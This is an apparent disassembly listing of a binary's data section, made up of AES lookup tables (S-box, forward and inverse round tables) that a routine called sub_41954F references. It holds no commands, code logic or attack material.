		dd 11948585h, 8ACF4545h, 0E910F9F9h, 4060202h, 0FE817F7Fh
		dd 0A0F05050h, 78443C3Ch, 25BA9F9Fh, 4BE3A8A8h,	0A2F35151h
		dd 5DFEA3A3h, 80C04040h, 58A8F8Fh, 3FAD9292h, 21BC9D9Dh
		dd 70483838h, 0F104F5F5h, 63DFBCBCh, 77C1B6B6h,	0AF75DADAh
		dd 42632121h, 20301010h, 0E51AFFFFh, 0FD0EF3F3h, 0BF6DD2D2h
		dd 814CCDCDh, 18140C0Ch, 26351313h, 0C32FECECh,	0BEE15F5Fh
		dd 35A29797h, 88CC4444h, 2E391717h, 9357C4C4h, 55F2A7A7h
		dd 0FC827E7Eh, 7A473D3Dh, 0C8AC6464h, 0BAE75D5Dh, 322B1919h
		dd 0E6957373h, 0C0A06060h, 19988181h, 9ED14F4Fh, 0A37FDCDCh
		dd 44662222h, 547E2A2Ah, 3BAB9090h, 0B838888h, 8CCA4646h
		dd 0C729EEEEh, 6BD3B8B8h, 283C1414h, 0A779DEDEh, 0BCE25E5Eh
		dd 161D0B0Bh, 0AD76DBDBh, 0DB3BE0E0h, 64563232h, 744E3A3Ah
		dd 141E0A0Ah, 92DB4949h, 0C0A0606h, 486C2424h, 0B8E45C5Ch
		dd 9F5DC2C2h, 0BD6ED3D3h, 43EFACACh, 0C4A66262h, 39A89191h
		dd 31A49595h, 0D337E4E4h, 0F28B7979h, 0D532E7E7h, 8B43C8C8h
		dd 6E593737h, 0DAB76D6Dh, 18C8D8Dh, 0B164D5D5h,	9CD24E4Eh
		dd 49E0A9A9h, 0D8B46C6Ch, 0ACFA5656h, 0F307F4F4h, 0CF25EAEAh
		dd 0CAAF6565h, 0F48E7A7Ah, 47E9AEAEh, 10180808h, 6FD5BABAh
		dd 0F0887878h, 4A6F2525h, 5C722E2Eh, 38241C1Ch,	57F1A6A6h
		dd 73C7B4B4h, 9751C6C6h, 0CB23E8E8h, 0A17CDDDDh, 0E89C7474h
		dd 3E211F1Fh, 96DD4B4Bh, 61DCBDBDh, 0D868B8Bh, 0F858A8Ah
		dd 0E0907070h, 7C423E3Eh, 71C4B5B5h, 0CCAA6666h, 90D84848h
		dd 6050303h, 0F701F6F6h, 1C120E0Eh, 0C2A36161h,	6A5F3535h
		dd 0AEF95757h, 69D0B9B9h, 17918686h, 9958C1C1h,	3A271D1Dh
		dd 27B99E9Eh, 0D938E1E1h, 0EB13F8F8h, 2BB39898h, 22331111h
		dd 0D2BB6969h, 0A970D9D9h, 7898E8Eh, 33A79494h,	2DB69B9Bh
		dd 3C221E1Eh, 15928787h, 0C920E9E9h, 8749CECEh,	0AAFF5555h
		dd 50782828h, 0A57ADFDFh, 38F8C8Ch, 59F8A1A1h, 9808989h
		dd 1A170D0Dh, 65DABFBFh, 0D731E6E6h, 84C64242h,	0D0B86868h
		dd 82C34141h, 29B09999h, 5A772D2Dh, 1E110F0Fh, 7BCBB0B0h
		dd 0A8FC5454h, 6DD6BBBBh, 2C3A1616h
dword_42BCD8	dd 63h			; DATA XREF: sub_41954F+1BBDr
					; sub_41954F+1BFEr ...
		dd 7Ch,	77h, 7Bh, 0F2h,	6Bh, 6Fh, 0C5h,	30h, 1,	67h, 2Bh
		dd 0FEh, 0D7h, 0ABh, 76h, 0CAh,	82h, 0C9h, 7Dh,	0FAh, 59h
		dd 47h,	0F0h, 0ADh, 0D4h, 0A2h,	0AFh, 9Ch, 0A4h, 72h, 0C0h
		dd 0B7h, 0FDh, 93h, 26h, 36h, 3Fh, 0F7h, 0CCh, 34h, 0A5h
		dd 0E5h, 0F1h, 71h, 0D8h, 31h, 15h, 4, 0C7h, 23h, 0C3h
		dd 18h,	96h, 5,	9Ah, 7,	12h, 80h, 0E2h,	0EBh, 27h, 0B2h
		dd 75h,	9, 83h,	2Ch, 1Ah, 1Bh, 6Eh, 5Ah, 0A0h, 52h, 3Bh
		dd 0D6h, 0B3h, 29h, 0E3h, 2Fh, 84h, 53h, 0D1h, 0
		dd 0EDh, 20h, 0FCh, 0B1h, 5Bh, 6Ah, 0CBh, 0BEh,	39h, 4Ah
		dd 4Ch,	58h, 0CFh, 0D0h, 0EFh, 0AAh, 0FBh, 43h,	4Dh, 33h
		dd 85h,	45h, 0F9h, 2, 7Fh, 50h,	3Ch, 9Fh, 0A8h,	51h, 0A3h
		dd 40h,	8Fh, 92h, 9Dh, 38h, 0F5h, 0BCh,	0B6h, 0DAh, 21h
		dd 10h,	0FFh, 0F3h, 0D2h, 0CDh,	0Ch, 13h, 0ECh,	5Fh, 97h
		dd 44h,	17h, 0C4h, 0A7h, 7Eh, 3Dh, 64h,	5Dh, 19h, 73h
		dd 60h,	81h, 4Fh, 0DCh,	22h, 2Ah, 90h, 88h, 46h, 0EEh
		dd 0B8h, 14h, 0DEh, 5Eh, 0Bh, 0DBh, 0E0h, 32h, 3Ah, 0Ah
		dd 49h,	6, 24h,	5Ch, 0C2h, 0D3h, 0ACh, 62h, 91h, 95h, 0E4h
		dd 79h,	0E7h, 0C8h, 37h, 6Dh, 8Dh, 0D5h, 4Eh, 0A9h, 6Ch
		dd 56h,	0F4h, 0EAh, 65h, 7Ah, 0AEh, 8, 0BAh, 78h, 25h
		dd 2Eh,	1Ch, 0A6h, 0B4h, 0C6h, 0E8h, 0DDh, 74h,	1Fh, 4Bh
		dd 0BDh, 8Bh, 8Ah, 70h,	3Eh, 0B5h, 66h,	48h, 3,	0F6h, 0Eh
		dd 61h,	35h, 57h, 0B9h,	86h, 0C1h, 1Dh,	9Eh, 0E1h, 0F8h
		dd 98h,	11h, 69h, 0D9h,	8Eh, 94h, 9Bh, 1Eh, 87h, 0E9h
		dd 0CEh, 55h, 28h, 0DFh, 8Ch, 0A1h, 89h, 0Dh, 0BFh, 0E6h
		dd 42h,	68h, 41h, 99h, 2Dh, 0Fh, 0B0h, 54h, 0BBh, 16h
dword_42C0D8	dd 6300h		; DATA XREF: sub_41954F+1BB2r
					; sub_41954F+1BF3r ...
		dd 7C00h, 7700h, 7B00h,	0F200h,	6B00h, 6F00h, 0C500h, 3000h
		dd 100h, 6700h,	2B00h, 0FE00h, 0D700h, 0AB00h, 7600h, 0CA00h
		dd 8200h, 0C900h, 7D00h, 0FA00h, 5900h,	4700h, 0F000h
		dd 0AD00h, 0D400h, 0A200h, 0AF00h, 9C00h, 0A400h, 7200h
		dd 0C000h, 0B700h, 0FD00h, 9300h, 2600h, 3600h,	3F00h
		dd 0F700h, 0CC00h, 3400h, 0A500h, 0E500h, 0F100h, 7100h
		dd 0D800h, 3100h, 1500h, 400h, 0C700h, 2300h, 0C300h, 1800h
		dd 9600h, 500h,	9A00h, 700h, 1200h, 8000h, 0E200h, 0EB00h
		dd 2700h, 0B200h, 7500h, 900h, 8300h, 2C00h, 1A00h, 1B00h
		dd 6E00h, 5A00h, 0A000h, 5200h,	3B00h, 0D600h, 0B300h
		dd 2900h, 0E300h, 2F00h, 8400h,	5300h, 0D100h, 0
		dd 0ED00h, 2000h, 0FC00h, 0B100h, 5B00h, 6A00h,	0CB00h
		dd 0BE00h, 3900h, 4A00h, 4C00h,	5800h, 0CF00h, 0D000h
		dd 0EF00h, 0AA00h, 0FB00h, 4300h, 4D00h, 3300h,	8500h
		dd 4500h, 0F900h, 200h,	7F00h, 5000h, 3C00h, 9F00h, 0A800h
		dd 5100h, 0A300h, 4000h, 8F00h,	9200h, 9D00h, 3800h, 0F500h
		dd 0BC00h, 0B600h, 0DA00h, 2100h, 1000h, 0FF00h, 0F300h
		dd 0D200h, 0CD00h, 0C00h, 1300h, 0EC00h, 5F00h,	9700h
		dd 4400h, 1700h, 0C400h, 0A700h, 7E00h,	3D00h, 6400h, 5D00h
		dd 1900h, 7300h, 6000h,	8100h, 4F00h, 0DC00h, 2200h, 2A00h
		dd 9000h, 8800h, 4600h,	0EE00h,	0B800h,	1400h, 0DE00h
		dd 5E00h, 0B00h, 0DB00h, 0E000h, 3200h,	3A00h, 0A00h, 4900h
		dd 600h, 2400h,	5C00h, 0C200h, 0D300h, 0AC00h, 6200h, 9100h
		dd 9500h, 0E400h, 7900h, 0E700h, 0C800h, 3700h,	6D00h
		dd 8D00h, 0D500h, 4E00h, 0A900h, 6C00h,	5600h, 0F400h
		dd 0EA00h, 6500h, 7A00h, 0AE00h, 800h, 0BA00h, 7800h, 2500h
		dd 2E00h, 1C00h, 0A600h, 0B400h, 0C600h, 0E800h, 0DD00h
		dd 7400h, 1F00h, 4B00h,	0BD00h,	8B00h, 8A00h, 7000h, 3E00h
		dd 0B500h, 6600h, 4800h, 300h, 0F600h, 0E00h, 6100h, 3500h
		dd 5700h, 0B900h, 8600h, 0C100h, 1D00h,	9E00h, 0E100h
		dd 0F800h, 9800h, 1100h, 6900h,	0D900h,	8E00h, 9400h, 9B00h
		dd 1E00h, 8700h, 0E900h, 0CE00h, 5500h,	2800h, 0DF00h
		dd 8C00h, 0A100h, 8900h, 0D00h,	0BF00h,	0E600h,	4200h
		dd 6800h, 4100h, 9900h,	2D00h, 0F00h, 0B000h, 5400h, 0BB00h
		dd 1600h
dword_42C4D8	dd 630000h		; DATA XREF: sub_41954F+1BA2r
					; sub_41954F+1BE3r ...
		dd 7C0000h, 770000h, 7B0000h, 0F20000h,	6B0000h, 6F0000h
		dd 0C50000h, 300000h, 10000h, 670000h, 2B0000h,	0FE0000h
		dd 0D70000h, 0AB0000h, 760000h,	0CA0000h, 820000h, 0C90000h
		dd 7D0000h, 0FA0000h, 590000h, 470000h,	0F00000h, 0AD0000h
		dd 0D40000h, 0A20000h, 0AF0000h, 9C0000h, 0A40000h, 720000h
		dd 0C00000h, 0B70000h, 0FD0000h, 930000h, 260000h, 360000h
		dd 3F0000h, 0F70000h, 0CC0000h,	340000h, 0A50000h, 0E50000h
		dd 0F10000h, 710000h, 0D80000h,	310000h, 150000h, 40000h
		dd 0C70000h, 230000h, 0C30000h,	180000h, 960000h, 50000h
		dd 9A0000h, 70000h, 120000h, 800000h, 0E20000h,	0EB0000h
		dd 270000h, 0B20000h, 750000h, 90000h, 830000h,	2C0000h
		dd 1A0000h, 1B0000h, 6E0000h, 5A0000h, 0A00000h, 520000h
		dd 3B0000h, 0D60000h, 0B30000h,	290000h, 0E30000h, 2F0000h
		dd 840000h, 530000h, 0D10000h, 0
		dd 0ED0000h, 200000h, 0FC0000h,	0B10000h, 5B0000h, 6A0000h
		dd 0CB0000h, 0BE0000h, 390000h,	4A0000h, 4C0000h, 580000h
		dd 0CF0000h, 0D00000h, 0EF0000h, 0AA0000h, 0FB0000h, 430000h
		dd 4D0000h, 330000h, 850000h, 450000h, 0F90000h, 20000h
		dd 7F0000h, 500000h, 3C0000h, 9F0000h, 0A80000h, 510000h
		dd 0A30000h, 400000h, 8F0000h, 920000h,	9D0000h, 380000h
		dd 0F50000h, 0BC0000h, 0B60000h, 0DA0000h, 210000h, 100000h
		dd 0FF0000h, 0F30000h, 0D20000h, 0CD0000h, 0C0000h, 130000h
		dd 0EC0000h, 5F0000h, 970000h, 440000h,	170000h, 0C40000h
		dd 0A70000h, 7E0000h, 3D0000h, 640000h,	5D0000h, 190000h
		dd 730000h, 600000h, 810000h, 4F0000h, 0DC0000h, 220000h
		dd 2A0000h, 900000h, 880000h, 460000h, 0EE0000h, 0B80000h
		dd 140000h, 0DE0000h, 5E0000h, 0B0000h,	0DB0000h, 0E00000h
		dd 320000h, 3A0000h, 0A0000h, 490000h, 60000h, 240000h
		dd 5C0000h, 0C20000h, 0D30000h,	0AC0000h, 620000h, 910000h
		dd 950000h, 0E40000h, 790000h, 0E70000h, 0C80000h, 370000h
		dd 6D0000h, 8D0000h, 0D50000h, 4E0000h,	0A90000h, 6C0000h
		dd 560000h, 0F40000h, 0EA0000h,	650000h, 7A0000h, 0AE0000h
		dd 80000h, 0BA0000h, 780000h, 250000h, 2E0000h,	1C0000h
		dd 0A60000h, 0B40000h, 0C60000h, 0E80000h, 0DD0000h, 740000h
		dd 1F0000h, 4B0000h, 0BD0000h, 8B0000h,	8A0000h, 700000h
		dd 3E0000h, 0B50000h, 660000h, 480000h,	30000h,	0F60000h
		dd 0E0000h, 610000h, 350000h, 570000h, 0B90000h, 860000h
		dd 0C10000h, 1D0000h, 9E0000h, 0E10000h, 0F80000h, 980000h
		dd 110000h, 690000h, 0D90000h, 8E0000h,	940000h, 9B0000h
		dd 1E0000h, 870000h, 0E90000h, 0CE0000h, 550000h, 280000h
		dd 0DF0000h, 8C0000h, 0A10000h,	890000h, 0D0000h, 0BF0000h
		dd 0E60000h, 420000h, 680000h, 410000h,	990000h, 2D0000h
		dd 0F0000h, 0B00000h, 540000h, 0BB0000h, 160000h
dword_42C8D8	dd 63000000h		; DATA XREF: sub_41954F+1B90r
					; sub_41954F+1BD9r ...
		dd 7C000000h, 77000000h, 7B000000h, 0F2000000h,	6B000000h
		dd 6F000000h, 0C5000000h, 30000000h, 1000000h, 67000000h
		dd 2B000000h, 0FE000000h, 0D7000000h, 0AB000000h, 76000000h
		dd 0CA000000h, 82000000h, 0C9000000h, 7D000000h, 0FA000000h
		dd 59000000h, 47000000h, 0F0000000h, 0AD000000h, 0D4000000h
		dd 0A2000000h, 0AF000000h, 9C000000h, 0A4000000h, 72000000h
		dd 0C0000000h, 0B7000000h, 0FD000000h, 93000000h, 26000000h
		dd 36000000h, 3F000000h, 0F7000000h, 0CC000000h, 34000000h
		dd 0A5000000h, 0E5000000h, 0F1000000h, 71000000h, 0D8000000h
		dd 31000000h, 15000000h, 4000000h, 0C7000000h, 23000000h
		dd 0C3000000h, 18000000h, 96000000h, 5000000h, 9A000000h
		dd 7000000h, 12000000h,	80000000h, 0E2000000h, 0EB000000h
		dd 27000000h, 0B2000000h, 75000000h, 9000000h, 83000000h
		dd 2C000000h, 1A000000h, 1B000000h, 6E000000h, 5A000000h
		dd 0A0000000h, 52000000h, 3B000000h, 0D6000000h, 0B3000000h
		dd 29000000h, 0E3000000h, 2F000000h, 84000000h,	53000000h
		dd 0D1000000h, 0
		dd 0ED000000h, 20000000h, 0FC000000h, 0B1000000h, 5B000000h
		dd 6A000000h, 0CB000000h, 0BE000000h, 39000000h, 4A000000h
		dd 4C000000h, 58000000h, 0CF000000h, 0D0000000h, 0EF000000h
		dd 0AA000000h, 0FB000000h, 43000000h, 4D000000h, 33000000h
		dd 85000000h, 45000000h, 0F9000000h, 2000000h, 7F000000h
		dd 50000000h, 3C000000h, 9F000000h, 0A8000000h,	51000000h
		dd 0A3000000h, 40000000h, 8F000000h, 92000000h,	9D000000h
		dd 38000000h, 0F5000000h, 0BC000000h, 0B6000000h, 0DA000000h
		dd 21000000h, 10000000h, 0FF000000h, 0F3000000h, 0D2000000h
		dd 0CD000000h, 0C000000h, 13000000h, 0EC000000h, 5F000000h
		dd 97000000h, 44000000h, 17000000h, 0C4000000h,	0A7000000h
		dd 7E000000h, 3D000000h, 64000000h, 5D000000h, 19000000h
		dd 73000000h, 60000000h, 81000000h, 4F000000h, 0DC000000h
		dd 22000000h, 2A000000h, 90000000h, 88000000h, 46000000h
		dd 0EE000000h, 0B8000000h, 14000000h, 0DE000000h, 5E000000h
		dd 0B000000h, 0DB000000h, 0E0000000h, 32000000h, 3A000000h
		dd 0A000000h, 49000000h, 6000000h, 24000000h, 5C000000h
		dd 0C2000000h, 0D3000000h, 0AC000000h, 62000000h, 91000000h
		dd 95000000h, 0E4000000h, 79000000h, 0E7000000h, 0C8000000h
		dd 37000000h, 6D000000h, 8D000000h, 0D5000000h,	4E000000h
		dd 0A9000000h, 6C000000h, 56000000h, 0F4000000h, 0EA000000h
		dd 65000000h, 7A000000h, 0AE000000h, 8000000h, 0BA000000h
		dd 78000000h, 25000000h, 2E000000h, 1C000000h, 0A6000000h
		dd 0B4000000h, 0C6000000h, 0E8000000h, 0DD000000h, 74000000h
		dd 1F000000h, 4B000000h, 0BD000000h, 8B000000h,	8A000000h
		dd 70000000h, 3E000000h, 0B5000000h, 66000000h,	48000000h
		dd 3000000h, 0F6000000h, 0E000000h, 61000000h, 35000000h
		dd 57000000h, 0B9000000h, 86000000h, 0C1000000h, 1D000000h
		dd 9E000000h, 0E1000000h, 0F8000000h, 98000000h, 11000000h
		dd 69000000h, 0D9000000h, 8E000000h, 94000000h,	9B000000h
		dd 1E000000h, 87000000h, 0E9000000h, 0CE000000h, 55000000h
		dd 28000000h, 0DF000000h, 8C000000h, 0A1000000h, 89000000h
		dd 0D000000h, 0BF000000h, 0E6000000h, 42000000h, 68000000h
		dd 41000000h, 99000000h, 2D000000h, 0F000000h, 0B0000000h
		dd 54000000h, 0BB000000h, 16000000h, 50A7F451h,	5365417Eh
		dd 0C3A4171Ah, 965E273Ah, 0CB6BAB3Bh, 0F1459D1Fh, 0AB58FAACh
		dd 9303E34Bh, 55FA3020h, 0F66D76ADh, 9176CC88h,	254C02F5h
		dd 0FCD7E54Fh, 0D7CB2AC5h, 80443526h, 8FA362B5h, 495AB1DEh
		dd 671BBA25h, 980EEA45h, 0E1C0FE5Dh, 2752FC3h, 12F04C81h
		dd 0A397468Dh, 0C6F9D36Bh, 0E75F8F03h, 959C9215h, 0EB7A6DBFh
		dd 0DA595295h, 2D83BED4h, 0D3217458h, 2969E049h, 44C8C98Eh
		dd 6A89C275h, 78798EF4h, 6B3E5899h, 0DD71B927h,	0B64FE1BEh
		dd 17AD88F0h, 66AC20C9h, 0B43ACE7Dh, 184ADF63h,	82311AE5h
		dd 60335197h, 457F5362h, 0E07764B1h, 84AE6BBBh,	1CA081FEh
		dd 942B08F9h, 58684870h, 19FD458Fh, 876CDE94h, 0B7F87B52h
		dd 23D373ABh, 0E2024B72h, 578F1FE3h, 2AAB5566h,	728EBB2h
		dd 3C2B52Fh, 9A7BC586h,	0A50837D3h, 0F2872830h,	0B2A5BF23h
		dd 0BA6A0302h, 5C8216EDh, 2B1CCF8Ah, 92B479A7h,	0F0F207F3h
		dd 0A1E2694Eh, 0CDF4DA65h, 0D5BE0506h, 1F6234D1h, 8AFEA6C4h
		dd 9D532E34h, 0A055F3A2h, 32E18A05h, 75EBF6A4h,	39EC830Bh
		dd 0AAEF6040h, 69F715Eh, 51106EBDh, 0F98A213Eh,	3D06DD96h
		dd 0AE053EDDh, 46BDE64Dh, 0B58D5491h, 55DC471h,	6FD40604h
		dd 0FF155060h, 24FB9819h, 97E9BDD6h, 0CC434089h, 779ED967h
		dd 0BD42E8B0h, 888B8907h, 385B19E7h, 0DBEEC879h, 470A7CA1h
		dd 0E90F427Ch, 0C91E84F8h, 0
		dd 83868009h, 48ED2B32h, 0AC70111Eh, 4E725A6Ch,	0FBFF0EFDh
		dd 5638850Fh, 1ED5AE3Dh, 27392D36h, 64D90F0Ah, 21A65C68h
		dd 0D1545B9Bh, 3A2E3624h, 0B1670A0Ch, 0FE75793h, 0D296EEB4h
		dd 9E919B1Bh, 4FC5C080h, 0A220DC61h, 694B775Ah,	161A121Ch
		dd 0ABA93E2h, 0E52AA0C0h, 43E0223Ch, 1D171B12h,	0B0D090Eh
		dd 0ADC78BF2h, 0B9A8B62Dh, 0C8A91E14h, 8519F157h, 4C0775AFh
		dd 0BBDD99EEh, 0FD607FA3h, 9F2601F7h, 0BCF5725Ch, 0C53B6644h
		dd 347EFB5Bh, 7629438Bh, 0DCC623CBh, 68FCEDB6h,	63F1E4B8h
		dd 0CADC31D7h, 10856342h, 40229713h, 2011C684h,	7D244A85h
		dd 0F83DBBD2h, 1132F9AEh, 6DA129C7h, 4B2F9E1Dh,	0F330B2DCh
		dd 0EC52860Dh, 0D0E3C177h, 6C16B32Bh, 99B970A9h, 0FA489411h
		dd 2264E947h, 0C48CFCA8h, 1A3FF0A0h, 0D82C7D56h, 0EF903322h
		dd 0C74E4987h, 0C1D138D9h, 0FEA2CA8Ch, 360BD498h, 0CF81F5A6h
		dd 28DE7AA5h, 268EB7DAh, 0A4BFAD3Fh, 0E49D3A2Ch, 0D927850h
		dd 9BCC5F6Ah, 62467E54h, 0C2138DF6h, 0E8B8D890h, 5EF7392Eh
		dd 0F5AFC382h, 0BE805D9Fh, 7C93D069h, 0A92DD56Fh, 0B31225CFh
		dd 3B99ACC8h, 0A77D1810h, 6E639CE8h, 7BBB3BDBh,	97826CDh
		dd 0F418596Eh, 1B79AECh, 0A89A4F83h, 656E95E6h,	7EE6FFAAh
		dd 8CFBC21h, 0E6E815EFh, 0D99BE7BAh, 0CE366F4Ah, 0D4099FEAh
		dd 0D67CB029h, 0AFB2A431h, 31233F2Ah, 3094A5C6h, 0C066A235h
		dd 37BC4E74h, 0A6CA82FCh, 0B0D090E0h, 15D8A733h, 4A9804F1h
		dd 0F7DAEC41h, 0E50CD7Fh, 2FF69117h, 8DD64D76h,	4DB0EF43h
		dd 544DAACCh, 0DF0496E4h, 0E3B5D19Eh, 1B886A4Ch, 0B81F2CC1h
		dd 7F516546h, 4EA5E9Dh,	5D358C01h, 737487FAh, 2E410BFBh
		dd 5A1D67B3h, 52D2DB92h, 335610E9h, 1347D66Dh, 8C61D79Ah
		dd 7A0CA137h, 8E14F859h, 893C13EBh, 0EE27A9CEh,	35C961B7h
		dd 0EDE51CE1h, 3CB1477Ah, 59DFD29Ch, 3F73F255h,	79CE1418h
		dd 0BF37C773h, 0EACDF753h, 5BAAFD5Fh, 146F3DDFh, 86DB4478h
		dd 81F3AFCAh, 3EC468B9h, 2C342438h, 5F40A3C2h, 72C31D16h
		dd 0C25E2BCh, 8B493C28h, 41950DFFh, 7101A839h, 0DEB30C08h
		dd 9CE4B4D8h, 90C15664h, 6184CB7Bh, 70B632D5h, 745C6C48h
		dd 4257B8D0h, 0A7F45150h, 65417E53h, 0A4171AC3h, 5E273A96h
		dd 6BAB3BCBh, 459D1FF1h, 58FAACABh, 3E34B93h, 0FA302055h
		dd 6D76ADF6h, 76CC8891h, 4C02F525h, 0D7E54FFCh,	0CB2AC5D7h
		dd 44352680h, 0A362B58Fh, 5AB1DE49h, 1BBA2567h,	0EEA4598h
		dd 0C0FE5DE1h, 752FC302h, 0F04C8112h, 97468DA3h, 0F9D36BC6h
		dd 5F8F03E7h, 9C921595h, 7A6DBFEBh, 595295DAh, 83BED42Dh
		dd 217458D3h, 69E04929h, 0C8C98E44h, 89C2756Ah,	798EF478h
		dd 3E58996Bh, 71B927DDh, 4FE1BEB6h, 0AD88F017h,	0AC20C966h
		dd 3ACE7DB4h, 4ADF6318h, 311AE582h, 33519760h, 7F536245h
		dd 7764B1E0h, 0AE6BBB84h, 0A081FE1Ch, 2B08F994h, 68487058h
		dd 0FD458F19h, 6CDE9487h, 0F87B52B7h, 0D373AB23h, 24B72E2h
		dd 8F1FE357h, 0AB55662Ah, 28EBB207h, 0C2B52F03h, 7BC5869Ah
		dd 837D3A5h, 872830F2h,	0A5BF23B2h, 6A0302BAh, 8216ED5Ch
		dd 1CCF8A2Bh, 0B479A792h, 0F207F3F0h, 0E2694EA1h, 0F4DA65CDh
		dd 0BE0506D5h, 6234D11Fh, 0FEA6C48Ah, 532E349Dh, 55F3A2A0h
		dd 0E18A0532h, 0EBF6A475h, 0EC830B39h, 0EF6040AAh, 9F715E06h
		dd 106EBD51h, 8A213EF9h, 6DD963Dh, 53EDDAEh, 0BDE64D46h
		dd 8D5491B5h, 5DC47105h, 0D406046Fh, 155060FFh,	0FB981924h
		dd 0E9BDD697h, 434089CCh, 9ED96777h, 42E8B0BDh,	8B890788h
		dd 5B19E738h, 0EEC879DBh, 0A7CA147h, 0F427CE9h,	1E84F8C9h
		dd 0
		dd 86800983h, 0ED2B3248h, 70111EACh, 725A6C4Eh,	0FF0EFDFBh
		dd 38850F56h, 0D5AE3D1Eh, 392D3627h, 0D90F0A64h, 0A65C6821h
		dd 545B9BD1h, 2E36243Ah, 670A0CB1h, 0E757930Fh,	96EEB4D2h
		dd 919B1B9Eh, 0C5C0804Fh, 20DC61A2h, 4B775A69h,	1A121C16h
		dd 0BA93E20Ah, 2AA0C0E5h, 0E0223C43h, 171B121Dh, 0D090E0Bh
		dd 0C78BF2ADh, 0A8B62DB9h, 0A91E14C8h, 19F15785h, 775AF4Ch
		dd 0DD99EEBBh, 607FA3FDh, 2601F79Fh, 0F5725CBCh, 3B6644C5h
		dd 7EFB5B34h, 29438B76h, 0C623CBDCh, 0FCEDB668h, 0F1E4B863h
		dd 0DC31D7CAh, 85634210h, 22971340h, 11C68420h,	244A857Dh
		dd 3DBBD2F8h, 32F9AE11h, 0A129C76Dh, 2F9E1D4Bh,	30B2DCF3h
		dd 52860DECh, 0E3C177D0h, 16B32B6Ch, 0B970A999h, 489411FAh
		dd 64E94722h, 8CFCA8C4h, 3FF0A01Ah, 2C7D56D8h, 903322EFh
		dd 4E4987C7h, 0D138D9C1h, 0A2CA8CFEh, 0BD49836h, 81F5A6CFh
		dd 0DE7AA528h, 8EB7DA26h, 0BFAD3FA4h, 9D3A2CE4h, 9278500Dh
		dd 0CC5F6A9Bh, 467E5462h, 138DF6C2h, 0B8D890E8h, 0F7392E5Eh
		dd 0AFC382F5h, 805D9FBEh, 93D0697Ch, 2DD56FA9h,	1225CFB3h
		dd 99ACC83Bh, 7D1810A7h, 639CE86Eh, 0BB3BDB7Bh,	7826CD09h
		dd 18596EF4h, 0B79AEC01h, 9A4F83A8h, 6E95E665h,	0E6FFAA7Eh
		dd 0CFBC2108h, 0E815EFE6h, 9BE7BAD9h, 366F4ACEh, 99FEAD4h
		dd 7CB029D6h, 0B2A431AFh, 233F2A31h, 94A5C630h,	66A235C0h
		dd 0BC4E7437h, 0CA82FCA6h, 0D090E0B0h, 0D8A73315h, 9804F14Ah
		dd 0DAEC41F7h, 50CD7F0Eh, 0F691172Fh, 0D64D768Dh, 0B0EF434Dh
		dd 4DAACC54h, 496E4DFh,	0B5D19EE3h, 886A4C1Bh, 1F2CC1B8h
		dd 5165467Fh, 0EA5E9D04h, 358C015Dh, 7487FA73h,	410BFB2Eh
		dd 1D67B35Ah, 0D2DB9252h, 5610E933h, 47D66D13h,	61D79A8Ch
		dd 0CA1377Ah, 14F8598Eh, 3C13EB89h, 27A9CEEEh, 0C961B735h
		dd 0E51CE1EDh, 0B1477A3Ch, 0DFD29C59h, 73F2553Fh, 0CE141879h
		dd 37C773BFh, 0CDF753EAh, 0AAFD5F5Bh, 6F3DDF14h, 0DB447886h
		dd 0F3AFCA81h, 0C468B93Eh, 3424382Ch, 40A3C25Fh, 0C31D1672h
		dd 25E2BC0Ch, 493C288Bh, 950DFF41h, 1A83971h, 0B30C08DEh
		dd 0E4B4D89Ch, 0C1566490h, 84CB7B61h, 0B632D570h, 5C6C4874h
		dd 57B8D042h, 0F45150A7h, 417E5365h, 171AC3A4h,	273A965Eh
		dd 0AB3BCB6Bh, 9D1FF145h, 0FAACAB58h, 0E34B9303h, 302055FAh
		dd 76ADF66Dh, 0CC889176h, 2F5254Ch, 0E54FFCD7h,	2AC5D7CBh
		dd 35268044h, 62B58FA3h, 0B1DE495Ah, 0BA25671Bh, 0EA45980Eh
		dd 0FE5DE1C0h, 2FC30275h, 4C8112F0h, 468DA397h,	0D36BC6F9h
		dd 8F03E75Fh, 9215959Ch, 6DBFEB7Ah, 5295DA59h, 0BED42D83h
		dd 7458D321h, 0E0492969h, 0C98E44C8h, 0C2756A89h, 8EF47879h
		dd 58996B3Eh, 0B927DD71h, 0E1BEB64Fh, 88F017ADh, 20C966ACh
		dd 0CE7DB43Ah, 0DF63184Ah, 1AE58231h, 51976033h, 5362457Fh
		dd 64B1E077h, 6BBB84AEh, 81FE1CA0h, 8F9942Bh, 48705868h
		dd 458F19FDh, 0DE94876Ch, 7B52B7F8h, 73AB23D3h,	4B72E202h
		dd 1FE3578Fh, 55662AABh, 0EBB20728h, 0B52F03C2h, 0C5869A7Bh
		dd 37D3A508h, 2830F287h, 0BF23B2A5h, 302BA6Ah, 16ED5C82h
		dd 0CF8A2B1Ch, 79A792B4h, 7F3F0F2h, 694EA1E2h, 0DA65CDF4h
		dd 506D5BEh, 34D11F62h,	0A6C48AFEh, 2E349D53h, 0F3A2A055h
		dd 8A0532E1h, 0F6A475EBh, 830B39ECh, 6040AAEFh,	715E069Fh
		dd 6EBD5110h, 213EF98Ah, 0DD963D06h, 3EDDAE05h,	0E64D46BDh
		dd 5491B58Dh, 0C471055Dh, 6046FD4h, 5060FF15h, 981924FBh
		dd 0BDD697E9h, 4089CC43h, 0D967779Eh, 0E8B0BD42h, 8907888Bh
		dd 19E7385Bh, 0C879DBEEh, 7CA1470Ah, 427CE90Fh,	84F8C91Eh
		dd 0
		dd 80098386h, 2B3248EDh, 111EAC70h, 5A6C4E72h, 0EFDFBFFh
		dd 850F5638h, 0AE3D1ED5h, 2D362739h, 0F0A64D9h,	5C6821A6h
		dd 5B9BD154h, 36243A2Eh, 0A0CB167h, 57930FE7h, 0EEB4D296h
		dd 9B1B9E91h, 0C0804FC5h, 0DC61A220h, 775A694Bh, 121C161Ah
		dd 93E20ABAh, 0A0C0E52Ah, 223C43E0h, 1B121D17h,	90E0B0Dh
		dd 8BF2ADC7h, 0B62DB9A8h, 1E14C8A9h, 0F1578519h, 75AF4C07h
		dd 99EEBBDDh, 7FA3FD60h, 1F79F26h, 725CBCF5h, 6644C53Bh
		dd 0FB5B347Eh, 438B7629h, 23CBDCC6h, 0EDB668FCh, 0E4B863F1h
		dd 31D7CADCh, 63421085h, 97134022h, 0C6842011h,	4A857D24h
		dd 0BBD2F83Dh, 0F9AE1132h, 29C76DA1h, 9E1D4B2Fh, 0B2DCF330h
		dd 860DEC52h, 0C177D0E3h, 0B32B6C16h, 70A999B9h, 9411FA48h
		dd 0E9472264h, 0FCA8C48Ch, 0F0A01A3Fh, 7D56D82Ch, 3322EF90h
